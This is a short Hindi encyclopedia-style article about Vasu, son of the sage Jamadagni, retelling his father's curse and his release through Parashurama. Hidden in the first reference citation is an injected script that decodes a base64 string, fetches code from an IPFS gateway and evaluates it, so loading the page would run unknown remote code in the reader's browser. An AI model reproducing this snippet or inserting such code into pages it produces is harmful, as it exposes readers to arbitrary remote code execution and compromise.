वसु (जमदग्नि पुत्र)

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जगदग्नि ऋषि और रेणुका के पाँच पुत्रों में से वसु तृतीय पुत्र थे। इनके भाई 'रुमण्वान', 'सुषेण', 'विश्वावसु' तथा 'परशुराम' थे।[1] पिता की मातृ वध करने की आज्ञा न मानने के कारण पिता का शाप वसु को प्राप्त हुआ था। इस शाप से परशुराम ने इन्हें मुक्त करवाया था।[2]

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पिता का शाप

एक बार माता रेणुका नदी स्नान के लिए गईं। संयोगवश वहाँ चित्ररथ नामक एक गन्धर्व भी जलक्रीड़ा कर रहा था। सुन्दर सजीले चित्ररथ को देखकर रेणुका का मन चंचल हो उठा। वह चित्ररथ पर आसक्त हो गईं। इधर ऋषि जमदग्नि को अपनी दिव्य दृष्टि से सारे घटनाक्रम का पता चल गया। जब रेणुका वापस आश्रम पहुँची तो क्रोधित जमदग्नि ने बारी-बारी से अपने सारे पुत्रों को अपनी माता का वध करने की आज्ञा दी। उनके पुत्र रुमण्वान, सुषेण, वसु और विश्वावसु ने अपनी माता का वध करने से मना कर दिया। इस पर पिता जमदग्नि ने अपने इन पुत्रों को जड़वत होने का शाप दिया।

शाप से मुक्ति

पितृ भक्त परशुराम ने पिता की आज्ञा का पालन करते हुए माता का सिर काट दिया, जिससे प्रसन्न होकर जमदग्नि ने परशुराम से वरदान माँगने को कहा। परशुराम ने माता का पुनः जीवित होना माँग लिया तथा विनती की कि उनकी माता को इस घटनाक्रम की याद न रहे। उनके भाई जो पिता के श्राप से जड़ हो चुके थे, उनके लिए भी चेतन होने का वर माँगा। इस प्रकार वसु अपने शेष भाइयों सहित पिता के शाप से मुक्त हुए।


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टीका टिप्पणी और संदर्भ

  1. पौराणिक कोश |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संपादन: राणा प्रसाद शर्मा |पृष्ठ संख्या: 458 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. महाभारत वनपर्व 116.10-17

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